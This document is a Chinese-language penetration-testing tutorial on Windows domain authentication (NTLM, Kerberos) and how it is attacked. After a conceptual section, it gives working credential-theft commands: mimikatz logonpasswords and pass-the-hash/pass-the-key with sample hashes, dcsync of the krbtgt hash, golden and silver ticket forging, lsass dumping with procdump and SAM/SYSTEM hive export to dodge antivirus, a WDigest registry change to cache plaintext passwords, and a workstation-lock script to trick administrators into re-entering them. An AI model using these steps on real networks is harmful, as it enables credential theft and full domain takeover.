登录认证

域是windows下的一种统一化管理的方式,明确一点,一个电脑可以用多个账号登录,并且还可以本地用户和域用户两种方式登录,没有域环境和有域环境的认证方式不同

windows终端的管理,往往会分为,单独的主机,工作组,域环境,三种环境下认证方式均有不同

域渗透基本概念_时间戳

类比​​linux​​的​​/etc/passwd​​和​​/etc/shadow​​的用来存放用户权限和用户密码的文件,windows同样有类似的文件是​​c:\system32\config\sam​

在windows中的认证,大多数是考虑安全性,不会在认证通讯中传递明文密码,而是传递​​hash​​值,因此如果获取​​hash​​值,而没有明文密码,在一定情况下就可冒充该用户进行相应权限访问。​​hash​​在​​sam​​中,在具有主机的一定权限的情况下,一般可以抓到

windows下的hash类型

LM HASH

​Lan manage Hash​​,早期使用的hash,目前已经废弃

NT HASH

本地登录时候,以该加密方式作为存储在​​SAM​​中

NTLM HASH

顾名思义是​​LM HASH​​和​​NT HASH​​的结合,大概格式一般张这样​​NT HSAH:LM HASH​​,中间以一个​​:​​,来隔开,也是​​mimikatz​​抓取到的hash

储存在​​SAM​​文件中,如果存在域环境,也储存在域控的​​NTDS.dit​​文件中

本地登录

使用密码的​​NT HASH​​加密与​​SAM​​中的对应数据比较

可以ps看下windows系统,登录认证需要以下2个exe来完成

域渗透基本概念_服务器端_02

域渗透基本概念_时间戳_03

简而言之

账号/密码 --接收--> winlogon.exe --传递--> lsass.exe --NT HASH加密--> sam 中比对


但是现在一台windows一般要么在工作组中,要么在域环境下的

工作组登录

登录使用是​​NTML HASH​​,登录的验证方式叫做​​challenge/Response​​,也就是​​挑战/响应​​机制

工作组是有一台(服务器端和客户端都是本身)或多台电脑的,在组中的服务器端上存有可以登录账号的​​NTML HASH​​值

  1. 客户端发送账号登录请求给服务器端
  2. 服务器端随机生成16位的​​challenge​​,并与客户端要登录的账号的​​NTLM HASH​​ 进行签名生成​​challenge-server​​,并把​​challenge​​发送给客户端
  3. 客户端手上的账号的密码先进行​​NTLM HASH​​运算,并再次和拿到的​​challenge​​进行运算得到​​challenge-client​​,并把​​challenge-client​​发送给服务器端
  4. 服务器拿到​​challenge-client​​与​​challenge-server​​进行比较,相同则表示认证通过

可以看到工作组的登录认证,全程没有明文密码的传递,是通过随机生成​​challenge​​进行加密传输认证

域登录

域中要登录一台主机,可以使用2种账号,域用户和域主机账号

域用户由域控管理,他会在域控上分配域用户可以登录哪些主机的权限

域主机账号即能登录该主机的账号,但一般不可登录其他服务器

域和工作组、本地不同在于,登录的时候指定是域登录则要以​​domain\username​​的形式输入用户名,表明是​​domain​​域下的用户要请求登录

与工作组不同的地方在于,服务器端只是作为中转,验证身份的为域控,即存储管理​​NTML HASH​​的地方是域控

  1. 客户端发送账号登录请求给服务器端
  2. 服务器端生成​​challenge​​,发送回客户端(与工作组想比这里没有生成​​challenge-server​​)
  3. 客户端拿密码生成​​NTML HASH​​与​​challenge​​加密,生成​​NET NTML HASH​​发送给服务器端
  4. 服务器端将拿到​​NET NTML HASH​​,将手上的​​challenge​​,​​账号​​发送给域控
  5. 域控拿对应账号的​​NTML HASH​​与​​challenge​​加密,与​​NET NTML HASH​​进比较,相同即通过

加密版本:

NTLM v1: 生成的​​challenge​​是8位

NTLM V2: 生成的​​challenge​​是16位, 在2008,win7之后都是该版本

Kerberos认证

在域中的一个终端,要访问域中的一个服务器时,服务器要明确这个终端是不是有权限访问自己,和不和法之类的问题并不是服务器端校验,而是通过在域中的第三方​​KDC​​服务器管理的

而​​KDC​​又分为两部分,分别是​​AS(Authentication Server)​​以及​​TGS(Ticket Granting Server)​

明确每个机器有什么东西

  1. 客户端:有当前登录账号的密码
  2. AS服务器:生成与TGS服务器交互的凭证
  3. TGS服务器:有服务器端的信息,用户访问服务器的权限信息,颁发给客户端凭证的
  4. 服务器:提供服务的

认证步骤:

  1. 客户端发送自己的ID网络状况AS服务器
  2. AS服务器发送2条请求给客户端
  • ​TGS-Session-Key​​, 这个是用来与​​TGS​​通信的,根据​​客户端的账号​​的密码加密的
  • ​TGT​​,这个是有​​TGS-Session-Key​​和时间戳,访问目标服务器等信息,根据​​KRBTGT的hash​​加密的
  1. 客户端接收TGS-Session-Key通过客户端的账号的密码解密得到密钥,将本地信息与密码加密,生成Server-Session-Key发给TGS
    客户端接收到TGT不做处理,直接发给 TGS
  2. TGS 收到TGT,利用KRBTGT的hash进行解密获取访问服务器的信息,进行校验,判断是否能够通过
    判断通过后,再将Server-Session-Key与时间戳,生命周期等信息通过服务器的hash进行加密生成Server-Ticket发送给客户端
  3. 客户端收到TGS发回的信息,用Server-Session-Key解密,解密内容加上ID 网络状况等信息,再用Server-Session-Key加密,发给服务器
    客户端收到TGS发回的Server-Ticket直接一并发服务器
  4. 服务器拿到Server-Ticket解密,验证通过,之后与客户端建立通讯连接

简而言之,最终​​客户端​​会拿到一个​​Server-Ticket​​用来告诉​​服务器​​自己的身份,而在渗透中拿用户的​​Hash​​则可以伪造身份,生成​​Ticket​​,而不需要明文密码。

票据

在整个​​Kerberos​​认证中,不难发现需要的有三个​​hash​​:​​客户端hash​​,​​服务器端hash​​,​​KRBTGT的hash​

而这三个​​hash​

服务器上:有服务器的​​hash​

客户端上:有客户端的​​hash​

KDC上:有大家所有人的​​hash​

客户端的hash用于,客户端与AS服务器通信,主要作用是确定客户端身份

KRBTGT的hash用于,客户端与TGS的通信,主要作用是确定服务器信息和客户端的权限

服务器端的hash用于,客户端与服务器端的通信,主要是验证客户端的身份


  • 那么有服务器的​​hash​​,即使没有KRBTGT的​​hash​​也能访问目标服务器
  • 如果有了​​KRBTGT​​的​​hash​​,则能访问所有服务器的权限

白银票据(Silver Ticket)

有目标服务器的​​hash​​,可以利用其伪造​​Ticket​​,达到访问指定目标服务器的作用。伪造的​​Ticket​​就叫做白银票据。

黄金票据(Golden Ticket)

有了​​KRBTGT​​的账号,这个账号在域控中,是建域自动生成的,KDC一般也是域控。有了​​KRBTGT​​的hash,则能伪造访问所有域中服务的​​Ticket​

Kerberoasting

利用TGS发回给客户端时,携带了服务器端的​​hash​​,爆破该​​hash​​,成功既能获得服务器的明文密码

漏洞

MS14-068:如果域控即KDC,有该漏洞,那么可以使一个普通域用户变成域控,原理即和Kerberos认证有关。

组策略首选项 + SYSVOL (GPP漏洞 —2k08)

SYSVOL`存在于域中的所有域控中。包含公共文件的共享文件夹,包括组策略数据 ,经过认证的用户都可以访问该文件夹。所有域组策略都存储在这里:`\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \


在​​win2k8​​中添加了​​GPP​​选项,即组策略首选项,可以完成更多的系统及应用管理,比如说管理本地用户 添加计划任务等。

在08的域控上为域主机远程添加用户,所有的操作都会写到​​Group.xml​​文件中,包括创建的账户名称 时间 以及加密后的密码。该密码默认是用​​AES256​​加密的,而且官方提供了完整的密钥,正好用来解密得到密码。漏洞的补丁编号为​​KB2962486​​.

通过HASH进行登录

在渗透中,拿不到明文密码,只是通过SAM等文件抓取到了NTML之类的hash值,是可以通过hash值进行登录其他主机的

pth

​pass the hash(pth)​​,在上述生成​​challenge-client​​的过程中,没有密码,但有​​NTML HASH​​一样是能够通过认证的,通过​​NTML HASH​​进行其他主机登录的方式即叫​​pth​

微软在12年发布了针对​​pth​​的补丁​​KBb2871997​​,意味着没法使用​​pth​​来登录了,但是这补丁的不足之处在于​​Administrator​​账号没有被限制,该账号的​​SID​​为​​500​​, 也就是说​​SID​​为​​500​​的账号不会受限制

如果禁用了​​NTML​​认证,​​PsExec​​无法利用获得的​​NTML hash​​进行远程连接,但是使用​​mimikatz​​还是可以攻击成功

mimikatz使用方法

//先获取hash

privilege::debug

sekurlsa::logonpasswords

//使用sekurlsa::pth 模块进行突破
sekurlsa::pth /user:administrator /domain:test /ntlm:ccef208c6485269c20db2cad21734fe7


ptk

​pass the key(ptk)​​是在​​pth​​不能用时,利用mimikatz的AES keys的方式代替​​NTML hash​​的一种方法

//先获取aes加密

privilege::debug

sekurlsa::ekeys

//使用sekurlsa::pth 模块使用aes方式
"sekurlsa::pth /user:administrator /domain:test /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"


ptt

清楚票据

kerberos::purge

klist purge


黄金票据

先获取krbtgt的hash

privilege::debug


使用key,来注入票据

lsadump::dcsync /user:krbtgt

mimikatz # kerberos::golden /domain:rootkit.org /sid:sid/aes256:ase256 /user:administrator /ticket:admin.kirbi


使用hash,来注入票据

lsadump::lsa /patch 导出hash

kerberos::golden /domain:rootkit.org /sid:sid /krbtgt:hash /user:administrator /ticket:admin.kirbi


白银票据

kerberos::golden /user:dbadmin /domain:rootkit.org /sid:sid /targe
t:Srv-Web-Kit.rootkit.org /rc4:ntlm_hash /ptt


测试中的操作

解决杀软杀掉mimikatz

在有杀软时,可以使用以下方式获取lsass.exe的哈希,并下载到本地用​​mimikatz​​解密

 目标在system32下
procdump.exe -accepteula -ma lsass.exe lsass.dmp

本机
sekurlsa::minidump lsass.dump
sekurlsa::logonpasswords
目标
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv

本机
lsadump::sam /system:system.hiv /sam:sam.hiv


解决windows10,windows server2012 抓不到明文密码

在windows10,windows server 2012以上,即使弱口令,​​mimikatz​​抓不到明文密码的,可以使用以下方法

设置注册表,使其能抓明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


锁屏脚本,使管理员再次输入密码,即会被抓取

Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWo rkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
} Lock-WorkStation


注销,使管理员再次输入密码,即会被抓取

logoff.exe